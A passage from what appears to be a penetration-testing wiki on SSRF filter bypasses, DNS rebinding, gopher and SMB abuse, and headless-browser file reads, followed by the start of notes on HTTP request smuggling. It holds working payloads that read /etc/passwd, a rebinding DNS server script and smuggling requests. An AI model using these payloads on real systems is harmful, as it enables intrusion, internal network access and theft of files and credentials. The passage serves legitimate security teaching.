**Tip**: you might see *only DNS logs* coming in, but this does not mean an HTTP request is not made. Network policies of the application often block outbound networking, and internal targets may still work. Debugging is just a little harder.
{% endhint %}

## Filters

The tricky part about SSRF defenses is that you often want to allow some subset of URLs to still be requested, while **internal hosts** should be disallowed. This implementation is known as the *filter*, and is often a lot more complicated than it looks on the surface. For this you can thank IP/URL formats, DNS, and unexpected HTTP features enabled by default.

With source code access, carefully read how the filter is implemented exactly to see if any of the following techniques apply. Otherwise, probe the filter with varying inputs to rule out certain checks and find bypasses that way.

### IP parsing

A naive way of blocking, say `localhost` access, is to block keywords like "localhost" or "127.0.0.1", because surely those are the only two ways to reference localhost. Unfortunately for those developers, IP addresses are standardized to support many other formats, all explained in [`man inet_pton`](https://man7.org/linux/man-pages/man3/inet_pton.3.html). Any IP address can be encoded like this.

{% code title="Different representations of 127.0.0.1" %}

```
127.1
0x7f.0x0.0x0.0x1
0177.00.01
2130706433
```

{% endcode %}

The `ipobf` tool below implements a bunch of these encoding formats to generate a fuzzing list:

{% embed url="<https://github.com/JorianWoltjer/ipobf/tree/master>" %}

If you thought this wasn't complex enough, you can encode IPv4 addresses with IPv6 as "IPv4-mapped" addresses for backwards compatibility. These can be decimal or hex like:

{% code title="IPv4-mapped IPv6 address of 127.0.0.1" %}

```
::ffff:127.0.0.1
::ffff:7f00:1
```

{% endcode %}

***

Another fact about specifically *loopback* addresses (pointing to your locally hosted services) is that the entire `127.0.0.0/8` range is actually considered as loopback. So `127.1.2.3` works just as well, and through all the above formats.

Lastly, on Linux, `0.0.0.0` also points to your loopback. This can break some filters that categorize "private IPs" because this special IP is not always considered private, but rather "multicast".\
For reference about these special types of IPs, you can check Go's implementation of `IsGlobalUnicast()`: <https://go.dev/src/net/ip.go>

### URL Injection

When you have control over any part of a URL that is fetched by the server, you should ask yourself, can I control the host that this request goes to? When an injection is after the path, you're often out of luck:

{% code title="Impossible to switch host" %}

```
https://example.com/INJECTION
```

{% endcode %}

But where it gets more interesting is if you can do anything *before* the path:

```
https://example.comINJECTION
```

There are multiple ways to exploit this now:

1. Using `@attacker.tld` as the `INJECTION`, the URL becomes `https://example.com@attacker.tld`. Anything before the `@` is seen as the "credential" part of the URL, while `attacker.tld` now becomes the host.
2. Using `.attacker.tld`, the URL becomes `https://example.com.attacker.tld` which is a registerable subdomain under the attacker.

Even when you're stuck in the path, you can still influence the URL greatly. For example:

```
https://example.com/subdir/INJECTION?safe=true
```

Injecting `../whatever#` here would turn the URL into `https://example.com/subdir/../whatever#?safe=true`, which causes `https://example.com/whatever` to be requested.

**Parameter pollution** is another realistic attack vector, where in the following injection:

```
https://example.com/?safe=true&input=INJECTION
```

We can write `x&safe=false` in hopes that the receiving server sees only the *last* value of `safe`. For more tricks like this, see [Client-Side Path Traversal (CSPT)](/web/client-side/client-side-path-traversal-cspt#path-traversal).

### Parser differentials

When preparing to request a URL it is common to parse it and check if it's safe, before initiating the request. It is crucial that the parsers used for the **check** and the **request** are the same though, because if they differ in any way, there is a chance that one URL is parsed in two different ways. While it may look safe to the parser during the check, it can be interpreted another way when it's actually requested.

One specific example is highlighted by SonarSource's article below:

{% embed url="<https://www.sonarsource.com/blog/security-implications-of-url-parsing-differentials/>" %}

Many libraries disagree on how to parse the following URL:

```
http://a.tld\@b.tld
```

Even inside Python, two different libraries [urllib](https://docs.python.org/3/library/urllib.html) and [urllib3](https://pypi.org/project/urllib3/) parse the hostname as `b.tld` and `a.tld` respectively:

{% code title="Python showcase" %}

```python
import urllib.parse
from urllib3.util import parse_url

url = r'http://a.tld\@b.tld'
print(urllib.parse.urlparse(url).hostname)  # 'b.tld'
print(parse_url(url).hostname)              # 'a.tld'
```

{% endcode %}

Python `requests` uses urllib3. So if it were parsed by urllib, one could hide the real URL and fake a hostname like this:

{% code title="Exploit example" %}

```python
import urllib.parse
import requests

url = r'https://secret.internal\@safe.example/../some-path'
if urllib.parse.urlparse(url).hostname != 'safe.example':
    raise Exception("Disallowed hostname")

requests.get(url)  # Sends request to: https://secret.internal/some-path
```

{% endcode %}

Research by Orange Tsai shows more examples of URL parser quirks potentially exploitable for SSRF: ["A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!"](https://blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)

Another differential that's worth highlighting is in **`curl`**. When your input is parsed by practically any parser, and then the cURL command line tool requests it without disabling [globbing](https://everything.curl.dev/cmdline/urls/globbing.html), you can bypass any filter. Look for a missing `-g` flag (libcurl doesn't support globbing, only the CLI is affected). Using `{}` characters you can make cURL request 2 URLs instead of one, where the 2nd is bypassed.

We can do this practically by starting `{` in the credential part of the URL, and then ending `}` somewhere in the hash fragment. A normal URL parser will allow and ignore this. Then cURL recognizes the globbing syntax and splits on the `,` into 2 URLs:

```bash
http://{@safe.example#,secret.internal}
```

PHP parses its host as `safe.example`:

{% code title="PHP parse\_url() example" %}

```php
php > var_dump(parse_url('http://{@safe.example#,secret.internal}'));
array(4) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(12) "safe.example"
  ["user"]=>
  string(1) "{"
  ["fragment"]=>
  string(17) ",secret.internal}"
}
```

{% endcode %}

But `curl` expands the `{a,b}` syntax into these 2 requests:

```shellscript
$ curl -s -o /dev/null --write-out '%{url}\n' 'http://{@safe.example#,secret.internal}'
http://@safe.example#
http://secret.internal
```

***

If you can't find a working payload online, you can look for differentials yourself through **fuzzing**. All you have to do is programmatically set up the parsers you want to compare, generate random inputs, and compare their outputs. We could rediscover the urllib vs. urllib3 differential this way:

{% code title="Fuzzing example" %}

```python
import string
import itertools
import urllib.parse
from urllib3.util import parse_url
from urllib3.exceptions import LocationParseError

# Try all combinations of 2 of these characters: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
for chars in itertools.product(string.punctuation, repeat=2):
    url = f"https://a.tld{''.join(chars)}b.tld"
    try:
        hostname1 = urllib.parse.urlparse(url).hostname
        hostname2 = parse_url(url).hostname
    except (ValueError, LocationParseError):
        continue
    # If they differ, log it
    if (hostname1 == "a.tld" and hostname2 == "b.tld") or (hostname1 == "b.tld" and hostname2 == "a.tld"):
        print(f"\nFound differential with {url!r}")  # 'https://a.tld\\@b.tld'
        print(f"urllib:  {hostname1!r}")  # 'b.tld'
        print(f"urllib3: {hostname2!r}")  # 'a.tld'
```

{% endcode %}

### Redirects

A simple but effective way of bypassing a URL filter is sending it to an attacker-controlled allowed host first, but then *redirecting* it to another URL in the `Location:` response header. If the requester follows redirects and does not re-check the new URL, the 2nd time may bypass any checks.

Many libraries implicitly follow redirects unless you opt out. And even then it's awkward to have to read the `Location:` header yourself and check the new URL again.\
Below is a simple PHP server that returns a [302 redirect](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/302) (shouldn't be cached as opposed to [301](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/301)):

```php
<?php
header("Location: http://localhost", true, 302)
```

{% hint style="success" %}
**Tip**: You can also use [requestrepo](https://requestrepo.com/) for this by editing the *Response*. Update the status code to 302 and add a `Location` header set to `http://localhost`, then press *Save*.
{% endhint %}

Through a server-side redirect, paths and URL parameters aren't preserved so you'll have to add these like `http://localhost/path?key=value` in the `Location:` header, but that also means you fully control them!

The method is forced to be GET, only if the original request was a POST request, you can set the status code to [307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/307) in order to **preserve the method and body** (`POST`). This means you can even send POST requests anywhere, you just don't have control over the body as it will be kept from the original request.

### DNS Rebinding

As you know, we don't just use IP addresses on the web. Domain names are much more common. But if you're implementing a filter that differentiates internal from external IP addresses, how would you do that for domain names?\
One approach often taken is to first resolve the domain to an IP address, then check that IP address just like in [#ip-parsing](#ip-parsing "mention") (but now normalized by DNS). The **problem** here is that DNS entries can *change*. In this approach, we can change the IP address our domain resolves to right after it was checked to be safe. The request will resolve the domain once more and now get back the edited value (eg. `127.0.0.1`). This is known as "DNS Rebinding" or more generally a ["TOCTOU"](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) vulnerability.

To set this up, you need a few things:

1. A VPS that can listen on UDP port 53 with a *public IP* (eg. `1.3.3.7`). This is the "DNS Server"
2. An `A` record pointing to the IP of your DNS server (eg. `ns1.hacker.tld -> 1.3.3.7`)
3. An `NS` record pointing to the `A` record (eg. `rebind.hacker.tld -> ns1.hacker.tld`)

When this is set up, you can run a DNS server on the VPS like this:

<pre class="language-python"><code class="lang-python">import dnslib.server
import dnslib
import random

class DNSResolver:
    def resolve(self, request, handler):
        print(request)
        reply = request.reply()
        name = str(request.q.qname)[:-1].lower()
<strong>        ip = random.choice(["1.1.1.1", "127.0.0.1"])
</strong>        print(name, "->", ip)
        reply.add_answer(dnslib.RR(name, dnslib.QTYPE.A, rdata=dnslib.A(ip), ttl=0))
        return reply

resolver = DNSResolver()
logger = dnslib.server.DNSLogger("-request,-reply")  # Disable default logger
server = dnslib.server.DNSServer(resolver, port=53, address="", logger=logger)
server.start()
</code></pre>

Requesting any domain name under the `NS` record (eg. `test.rebind.hacker.tld`) now gets resolved by your Python server.

#### Using online tools

Luckily existing tools such as ["Singularity of Origin"](https://github.com/nccgroup/singularity) have implemented this already with a smart subdomain-based configuration that anyone can use. The format is explained here:

{% embed url="<https://github.com/nccgroup/singularity/wiki/How-to-Create-Manual-DNS-Requests-to-Singularity%3F>" %}

Basically, if you want to use the "First then always second" method you should choose the `fs` strategy and use the following Python script to format your IPs. Here I set the *first* to `1.1.1.1`, and the *second* to `127.0.0.1`.

```python
from secrets import token_hex

def encode(ip):
    return ''.join(f"{int(n):02x}" for n in ip.split("."))

print(f"s-{encode("1.1.1.1")}.{encode("127.0.0.1")}-{token_hex(6)}-fs-e.d.rebind.it")
```

Resolving this domain name now indeed gives `1.1.1.1` first (check), then always `127.0.0.1` (use):

<pre class="language-shellscript"><code class="lang-shellscript">$ dig +noall +answer s-01010101.7f000001-730f3fc2ce38-fs-e.d.rebind.it
<strong>s-01010101.7f000001-730f3fc2ce38-fs-e.d.rebind.it. 5 IN A 1.1.1.1
</strong>$ dig +noall +answer s-01010101.7f000001-730f3fc2ce38-fs-e.d.rebind.it
<strong>s-01010101.7f000001-730f3fc2ce38-fs-e.d.rebind.it. 3 IN A 127.0.0.1
</strong>$ dig +noall +answer s-01010101.7f000001-730f3fc2ce38-fs-e.d.rebind.it
<strong>s-01010101.7f000001-730f3fc2ce38-fs-e.d.rebind.it. 2 IN A 127.0.0.1
</strong></code></pre>

{% hint style="success" %}
**Tip**: It may sometimes be smarter to use the `rd` (random) strategy and spam it until it works. Some systems have multiple checks where the first, second and third must be `1.1.1.1`, for example. With random you can just get lucky that the resolutions happen to line up how you need them.
{% endhint %}

***

DNS can have **multiple entries** for one name. Each one must be checked, otherwise a library sending the request might fall back to another entry if the first one fails. You can try this in Python `dnslib` by just adding more `reply.add_answer()` calls before returning.

Some routers deny DNS replies containing loopback addresses like `127.0.0.1` to block these exact attacks. In the ["Protection Bypasses"](https://github.com/nccgroup/singularity/wiki/Protection-Bypasses) section a few more variations are explained, like using `0.0.0.0` on a Linux-based target and returning `CNAME` records instead which are essentially aliases to other names that the requester will have to request again. Setting the value to `localhost` may make the resolver internally return `127.0.0.1`. If you know any records exist in the internal network of the target (eg. `server.target.tld`) you can set the CNAME to this, which will get its `A` record.

{% hint style="danger" %}
**Note**: All these DNS attacks assume the `Host:` header isn't validated by the receiving server. Because it will be on the attacker's domain still, we only change the IP. HTTPS will also break with this, so you have to hope this is not verified either. Though it is common for internal services to be run over HTTP.
{% endhint %}

## Impact

Possibly the hardest part of an SSRF vulnerability is figuring out what you can do with it. In a blackbox scenario, this is a bunch of guesswork and having knowledge of your target's internal infrastructure. Though this is not a prerequisite, as you can also *learn* a lot about the target by playing with the SSRF primitive.

By requesting random internal services you may come across well-known applications that weren't made to be publicly accessible. Such apps can intentionally disclose sensitive information or provide dangerous actions, or even be outdated and contain n-day vulnerabilities you may be able to exploit *through* an SSRF.

Exactly what you can do with your SSRF depends on how it works technically.

* Does it expect a certain format in the response?
  * -> Decides if it is [#full-read-ssrf](#full-read-ssrf "mention") or [#blind-ssrf](#blind-ssrf "mention")
* Does it give detailed errors on failed connections?
  * -> Decides if you can find IP addresses before ports
* How fast is a single attempt?
  * -> Decides how large of a range you can fuzz

{% hint style="info" %}
**Tip**: If you have the luxury of being able to read `/etc/hosts`, it may contain other hardcoded internal hosts (docker compose will even fill this file automatically).\
`/proc/net/tcp` also contains hex-encoded versions of all inbound and outbound TCP connections which may leak who the server is communicating with to discover new hosts.
{% endhint %}

### Targets

With SSRFs you want to generally **cross network boundaries**. By requesting `localhost` or other internal IPs in `10.0.0.0/8`, `172.16.0.0/12` or `192.168.0.0/16`.

[`prips`](https://manpages.ubuntu.com/manpages/focal/man1/prips.1.html) is a useful small tool that takes a subnet/range and prints out all IP addresses within. It makes creating fuzzing lists easy:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ prips 192.168.0.0/24
</strong>192.168.0.0
192.168.0.1
192.168.0.2
...
192.168.0.255
</code></pre>

You can also access **firewalled** hosts that have rules to only allow connections from internal IPs. With SSRF, you've become such an internal host and can potentially request **subdomains** that don't seem to respond from the outside.

**Cloud** environments often have special **metadata IPs** that return information about the current machine. The most well-known is AWS at `http://169.254.169.254`. Other platforms have more security measures where some extra request headers are required, assuming that you cannot control these request headers. Check out all the details in the page below:

{% embed url="<https://hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp>" %}
List of Cloud SSRF techniques for all platforms
{% endembed %}

Lastly, if your SSRF is working as effectively a proxy, you can intentionally send a request to *your own* server and control the response headers. Some reverse proxies handle certain response headers in a special way, see [Reverse Proxies](/web/server-side/reverse-proxies#special-response-headers) for details.

#### Docker

When your application is running inside [Docker](https://www.docker.com/), there may be more containers running on the same machine. By default containers get an incremental IP in the `172.17.0.0/16` subnet but if a docker `network` is created, that subnet number (`17`) can increase. Containers start at `.2` and increment from there.

{% code title="All Docker subnets in order" %}

```
172.17.0.0/16
172.18.0.0/16
172.19.0.0/16
172.20.0.0/16
172.21.0.0/16
172.22.0.0/16
172.23.0.0/16
172.24.0.0/16
172.25.0.0/16
172.26.0.0/16
172.27.0.0/16
172.28.0.0/16
172.29.0.0/16
172.30.0.0/16
192.168.0.0/16
```

{% endcode %}

In some desktop environments you can reach the host via the special `host.docker.internal` domain name. However, in most instances you need to manually find the default gateway. This will always be the `.1` host on the subnet the container has (eg. `172.17.0.0/16` -> `172.17.0.1`).

{% code title="Possible host mappings in Docker" overflow="wrap" %}

```
172.17.0.1 172.18.0.1 172.19.0.1 172.20.0.1 172.21.0.1 172.22.0.1 172.23.0.1 172.24.0.1 172.25.0.1 172.26.0.1 172.27.0.1 172.28.0.1 172.29.0.1 172.30.0.1 192.168.0.1
```

{% endcode %}

#### Ports

After finding an IP, you can try to find HTTP/HTTPS services on it by scanning ports. Depending on how fast you can fuzz, you should decide if you want to test only a few ports or many ports. In [common-http-ports.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Infrastructure/common-http-ports.txt) there are the top 36 most widely used ports where you can find HTTP, with of course `80` being by far the most common.

For internal services, however, you'll often also find `8080`, `8000`, `5000`, `3000` etc. to avoid clashing with other in-use ports. So especially on localhost, scanning a broader range is important.

### Method, Path, Query & Headers

The more fields of the request you control in an SSRF, the more possibilities open up. In [#url-injection](#url-injection "mention") there are some ideas for when you only control the Path or URL. But when you have an input where you also decide the method or a header, for example, it can become more interesting.

Surprisingly often *request* libraries don't properly sanitize their inputs. This means you may be able to inject special characters like `\r\n` (`%0d%0a`) into the request Method, Path or Header value to add extra headers or a body to a request. This may be required for modern Cloud metadata endpoints as mentioned in [#targets](#targets "mention"). Read [CRLF / Header Injection](/web/client-side/crlf-header-injection) for more details about this attack.

### Protocols

When inputting a URL to fetch, you're not always forced to use `http:` or `https:`. With different protocols you can trigger different behavior. Fetching a `file://` URL for example, you may be able to read local files ([Local File Disclosure](/web/server-side/local-file-disclosure)).

#### SMB

On Windows, **SMB** also provides some interesting functionality. Firstly, on `127.0.0.1` you can always access your current machine's filesystem. Drives are mapped as shares with a `$` suffix, so the following path will read `C:\Windows\win.ini` when requested (`//` starting syntax signifies SMB, you can also try `smb://`):

{% code title="Windows SMB file read" %}

```
\\127.0.0.1\C$\Windows\win.ini
```

{% endcode %}

When the network policies allow it, making an SMB connection to an *external server* can leak the password **hash** of the account initiating it because Windows automatically sends it. Tools like [Responder](https://github.com/lgandx/Responder) can capture these hashes. Then either **relay** it if you are already inside the internal network or try to **crack** it ([Exploitation](/windows/exploitation#forcing-authentication-to-relay)).

#### Gopher

An old protocol called [Gopher](https://en.wikipedia.org/wiki/Gopher_\(protocol\)) is still supported by most notably `curl` through `gopher://`. What it allows attackers to do today is send **raw TCP packets** and get back **raw TCP responses**. You specify a host like normal, then prefix the path with `_` and the rest of the path becomes a URL-encoded packet you wish to send. This [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(true\)Find_/_Replace\(%7B'option':'Regex','string':'.*'%7D,'gopher://example.com:80/_$%26',false,false,false,true\)\&input=R0VUIC8gSFRUUC8xLjENCkhvc3Q6IGV4YW1wbGUuY29tDQo\&ieol=CRLF\&oeol=CRLF) can be used to encode a packet.

{% code title="Packet" overflow="wrap" %}

```http
GET / HTTP/1.1
Host: example.com

```

{% endcode %}

{% code title="Sending through gopher" overflow="wrap" %}

```shellscript
$ curl 'gopher://example.com:80/_GET%20%2F%20HTTP%2F1%2E1%0D%0AHost%3A%20example%2Ecom%0D%0A'
HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
...

22f
<!doctype html><html lang="en"><head><title>Example Domain</title>...</html>

0
```

{% endcode %}

{% hint style="info" %}
**Note**: You need to specify the port even if it is `:80`, as gopher defaults to 70 instead of 80.
{% endhint %}

Any service accepting TCP can be interacted with. The only limitation is that you cannot keep a TCP conversation going. Only your one packet is sent, a response is received, then the connection immediately closes. Below is a collection of known gadgets that can be exploited with a single packet when found in the internal network:

{% embed url="<https://github.com/tarunkant/Gopherus>" %}

#### Protocol confusion (mixing)

Another idea is sending HTTP, but to a different port that doesn't necessarily speak HTTP. Protocols that are similarly newline-delimited (such as SMTP) can have commands be injected through header names or the request body. It is worth assessing what protocols are running and whether or not you can craft a valid packet for them with your SSRF request format.

One famous example is [Redis](https://redis.io/) which is a fast key-value store with a simple newline-delimited command protocol. Read [Redis/Valkey - TCP/6379](/networking/redis-valkey-tcp-6379#ssrf) for a detailed explanation on how it can be exploited.\
This has now mostly been fixed by [adding a protection](https://github.com/redis/redis/blob/a8edcfc98c50bb01c850e5dab3998ce57807144d/src/server.c#L4515-L4516) looking for `POST` or `Host:` commands as heuristics of this attack, and closing the connection when either is encountered.

### Full-Read SSRF

The most powerful form of SSRF is when you can *read the response*. Most often this will be the body, maybe in an error or just as a proxy functionality. Anyhow, through your fuzzing you should find servers and try to recognize what software they are running.

You can then browse the website by manually requesting URLs, reading `href=`'s and requesting more. Or, write a simple proxy that you can connect to your browser to fully *browse* an internal website. You can take the following two [mitmproxy](https://www.mitmproxy.org/) scripts as reference, implement your own SSRF here:

{% code title="proxy\_url.py" overflow="wrap" %}

```python
import mimetypes
import requests
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    r = requests.post("http://target.tld/ssrf",
                      json={"url": flow.request.pretty_url})
    data = r.json()

    content_type, _ = mimetypes.guess_type(flow.request.pretty_url)
    if content_type is None: content_type = "text/html"

    flow.response = http.Response.make(
        status_code=r.status_code,
        content=data["body"],
        headers={"Content-Type": content_type},
    )
```

{% endcode %}

{% code title="proxy\_full.py" overflow="wrap" %}

```python
import requests
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    payload = {
        "url": flow.request.pretty_url,
        "method": flow.request.method,
        "headers": dict(flow.request.headers),
        "body": flow.request.get_text(),
    }
    r = requests.post("http://target.tld/ssrf", json=payload)
    data = r.json()

    flow.response = http.Response.make(
        status_code=data["status"],
        content=data["body"],
        headers=data["headers"],
    )
```

{% endcode %}

Run either of these scripts with `mitmproxy` and a port for the proxy to listen on:

{% code overflow="wrap" %}

```bash
mitmproxy -s proxy.py -p 8081
```

{% endcode %}

Then configure your tools or browser to use `http://127.0.0.1:8081` as the proxy. In Burp Suite you do this via the *Network* -> *Connections* -> *Upstream proxy servers* configuration.

<figure><img src="/files/CktyHA3xlGRi3Oo6JeHY" alt="" width="356"><figcaption><p>Burp Suite "Upstream proxy servers" setting to mitmproxy</p></figcaption></figure>

### Blind SSRF

If your request only gets *sent* and the user never sees a response, it is considered "blind". This may also be the case if it requires such an esoteric response format that you're effectively never able to read any response from an unintended host.

{% hint style="success" %}
**Tip**: If your response needs to be an image, you can try requesting `/favicon.ico` or `/favicon.png` for various hosts to find not only if they work, but also what software it is by their favicon. You can then reverse image search or even [look for the hash on shodan](https://blog.shodan.io/deep-dive-http-favicon/).
{% endhint %}

You can still find which IPs or ports work via error messages or timing in most cases. Try working versus non-working hosts, and know that when you see "No route to host" it means the IP could not be reached, so you don't need to waste time port scanning such a host.

{% embed url="<https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/>" %}

### Automated Browsers

One last variant of SSRF is when it involves an automated headless browser. Because these make requests by design, SSRF is a natural idea. If a browser renders your HTML, many features can cause requests to be triggered, though all of these must be [*Simple Requests*](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests). The following repository collects all ways HTML can make blind requests:

{% embed url="<https://github.com/cure53/HTTPLeaks>" %}

{% hint style="warning" %}
**Warning**: These techniques use a lot of HTML, and some renderers require **strictly correct HTML**, no formatting errors such as missing `"` or missing `</` closing tags. Ensure it follows the [HTML spec](https://html.spec.whatwg.org/multipage/parsing.html) without triggering any "Parse errors" the browser usually fixes for you.
{% endhint %}

#### PDF/Screenshot

A very powerful primitive is when you get back a PDF or screenshot of the page that the browser was on. This gives you a way to **exfiltrate** data. CORS blocks things like `fetch()` but **visually** a browser can often still display cross-origin data, it may just not be programmatically accessible.

Most of the techniques above are *blind*, but one stands out: `<iframe>`. This can render an external website inside another website. If the application takes a screenshot of some HTML-injected page, adding the following would render <http://localhost:8000>.

{% code overflow="wrap" %}

```html
<iframe src="http://localhost:8000" width="1000" height="1000"></iframe>
```

{% endcode %}

{% hint style="info" %}
**Tip**: To *scroll* the iframe, use CSS via a `style=` attribute and shift the `height=` with a negative `top:`:

{% code overflow="wrap" %}

```html
<iframe src="https://nl.wikipedia.org/wiki/Hoofdpagina" width="1000" height="1000" style="position: absolute; top: -0px;left: 0"></iframe>
<iframe src="https://nl.wikipedia.org/wiki/Hoofdpagina" width="1000" height="2000" style="position: absolute; top: -1000px;left: 0"></iframe>
<iframe src="https://nl.wikipedia.org/wiki/Hoofdpagina" width="1000" height="3000" style="position: absolute; top: -2000px;left: 0"></iframe>
```

{% endcode %}
{% endhint %}

Temporary bits of HTML are often rendered through the `file://` protocol. What's special about this is that from a file protocol, you can iframe other files without restrictions (just can't read them by default):

{% code overflow="wrap" %}

```html
<iframe src=file:///etc/passwd></iframe>
<iframe src=file://C:\Windows\win.ini></iframe>
```

{% endcode %}

By pointing it to a directory, you even get a nicely rendered list of files and directories in there, so you don't have to fuzz file paths:

{% code overflow="wrap" %}

```html
<iframe src=file:///></iframe>
<iframe src=file://C:\></iframe>
```

{% endcode %}

<figure><img src="/files/0FnLRBCW6gLTvsFb0n7L" alt="" width="469"><figcaption><p>Example file listing on Linux in the browser</p></figcaption></figure>

If iframes are denied for any reason, you can also try **navigating** the browser. Even with just HTML you can achieve this through the [`<meta>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/http-equiv#refresh) tag:

{% code overflow="wrap" %}

```html
<meta http-equiv="refresh" content="0;http://localhost:8000">
```

{% endcode %}

If a screenshot is made too quick (eg. before loading some resource/navigation), you can try slowing down the load by a slow image. This will hold `waitUntil: "networkidle2"` calls too:

{% code overflow="wrap" %}

```html
<img src="https://r.jtw.sh?delay=10000">
```

{% endcode %}

For PDFs specifically, there are features that intentionally attach files via HTML to the resulting file as **attachments**. Try including the following three HTML tags, which work for **mPDF < 7.0**, **WeasyPrint**, and **PD4ML**, respectively:

{% code overflow="wrap" %}

```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
<link rel=attachment href="file:///etc/passwd">
<pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip" />
```

{% endcode %}

After getting the PDF, look for attached files with `pdfdetach`:

<pre class="language-shellscript" data-title="Extracting attachments from PDF" data-overflow="wrap"><code class="lang-shellscript"><strong>$ pdfdetach -list output.pdf
</strong>1 embedded files
1: passwd
<strong>$ pdfdetach -saveall output.pdf
</strong><strong>$ cat passwd
</strong>root:x:0:0:root:/root:/bin/bash
...
</code></pre>

For later versions of mPDF, one technique exists to [SSRF with Gopher](https://medium.com/@brun0ne/breaking-mpdf-with-regex-and-logic-bf915300483f) and another using PHP phar deserialization:

{% embed url="<https://medium.com/@brun0ne/rce-via-a-malicious-svg-in-mpdf-216e613b250b>" %}

You may find n-days or 0-days in other libraries by looking at the `Creator` & `Producer` EXIF data. Libraries often leave their mark here with version numbers to search online:

<pre class="language-shellscript" data-title="Get metadata from PDF" data-overflow="wrap"><code class="lang-shellscript"><strong>$ exiftool output.pdf 
</strong>...
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7
</code></pre>

#### Server-Side XSS

In browsers we're often not limited to just HTML, but also JavaScript. In [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss) you can learn all sorts of ways to potentially execute arbitrary JavaScript with which you can access anything you would be able to in a normal XSS attack.

It is smart to enumerate some information about where your JavaScript is being executed. By reading `location.href` and `navigator.userAgent` you can quickly learn how the HTML is rendered and what software the browser is based on. Try `fetch()`'ing around with relative URLs to see if you can access anything interesting.

Some configuration is often different from regular browsers and may allow for more exploitation vectors. **CLI flags** become very important. Developers sometimes set these to fix bugs without realizing the implications.

Check if **CORS** is enforced. Because the `--disable-web-security` flag would disable such check and allow any website to request any other website's data:

{% code overflow="wrap" %}

```javascript
fetch("http://localhost:8000").then(r => r.text()).then(t => document.body.innerText = t)
```

{% endcode %}

If you find yourself on a `file://` location, also try fetch other relative files. Some browsers will see them all as same-origin, while regular browsers should see each file as a separate origin.

{% hint style="warning" %}
**Tip**: some headless browser libraries don't use the standard JavaScript engine, and instead expose only a subset of functions. [`document.write()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/write) is a relatively reliable way to put text inside the document:

{% code overflow="wrap" %}

```html
<script>document.write(7*7)</script>
```

{% endcode %}

Instead of the modern `fetch()`, you may have to fall back to [`XMLHttpRequest`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) as well:

{% code overflow="wrap" %}

```html
<script>
	req = new XMLHttpRequest();
	req.onload = function () { document.write(this.responseText) }
	req.onerror = function () { document.write('failed') }
	req.open("GET", "file:///etc/passwd");
	req.send();
</script>
```

{% endcode %}
{% endhint %}

You can attack the underlying system with techniques described in [Headless Browsers](/web/client-side/headless-browsers). The most common problem is using **outdated versions** that have known memory corruption/sandbox escape vulnerabilities. The best part is that commonly, you can skip the sandbox stage because `--no-sandbox` is set. Some containers that have no `CAP_SYS_ADMIN` capability or run as `root` don't support the sandbox, so require this flag to be set.\
Note that sometimes CLI flags can disable certain features exploits rely on, like WebAssembly or JIT.


# HTTP Request Smuggling

Parsing of Content-Length and Transfer-Encoding headers leads to messing with boundaries of requests

{% hint style="info" %}
**Note**: This page was made as notes while learning HTTP Request Smuggling myself, using the Portswigger resources and labs
{% endhint %}

## Description

{% embed url="<https://portswigger.net/web-security/request-smuggling>" %}
Portswigger **explaining** what HTTP Request Smuggling is
{% endembed %}

HTTP Request Smuggling is possible when the parsing of `Content-Length` and `Transfer-Encoding: chunked` headers are different for front-end and back-end servers.

### Types

<table><thead><tr><th width="110.33333333333331">Name</th><th>Front-end</th><th>Back-end</th></tr></thead><tbody><tr><td><strong>CL.TE</strong></td><td><code>Content-Length</code></td><td><code>Transfer-Encoding</code></td></tr><tr><td><strong>TE.CL</strong></td><td><code>Transfer-Encoding</code></td><td><code>Content-Length</code></td></tr><tr><td><strong>TE.TE</strong></td><td><code>Transfer-Encoding</code></td><td><code>Transfer-Encoding</code></td></tr></tbody></table>

{% hint style="info" %}
**TE.TE**: `Transfer-Encoding` front-end, `Transfer-Encoding` backend, but one can be tricked into using `Content-Length` by obfuscating `Transfer-Encoding` header
{% endhint %}

### Impact

* Smuggle HTTP in front of the next request by someone else
* Smuggle another request through front-end to back-end to bypass filters

## Types

### CL.TE

{% embed url="<https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te>" %}
Portswigger **lab** for practicing CL.TE type
{% endembed %}

```http
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

The front-end uses `Content-Length: 6` which sends the whole body (`0\r\nG\r`) to the back-end. The back-end uses `Transfer-Encoding: chunked` which will read the first `0` and then stop because this signals the end. When anyone now does another request to the back-end, the `G` is already sent and prepended to it making the request `GPOST` if it was a `POST` before.

### TE.CL

{% embed url="<https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl>" %}
Portswigger **lab** for practicing TE.CL type
{% endembed %}

> Burp Suite automatically fixes `Content-Length`, but it only is correct for the back-end after splitting the request. So turn off "Update Content-Length" setting in Repeater

```http
POST /post/comment HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

61
GPOST /post/comment HTTP/1.1
Host: your-lab-id.web-security-academy.net


0


```

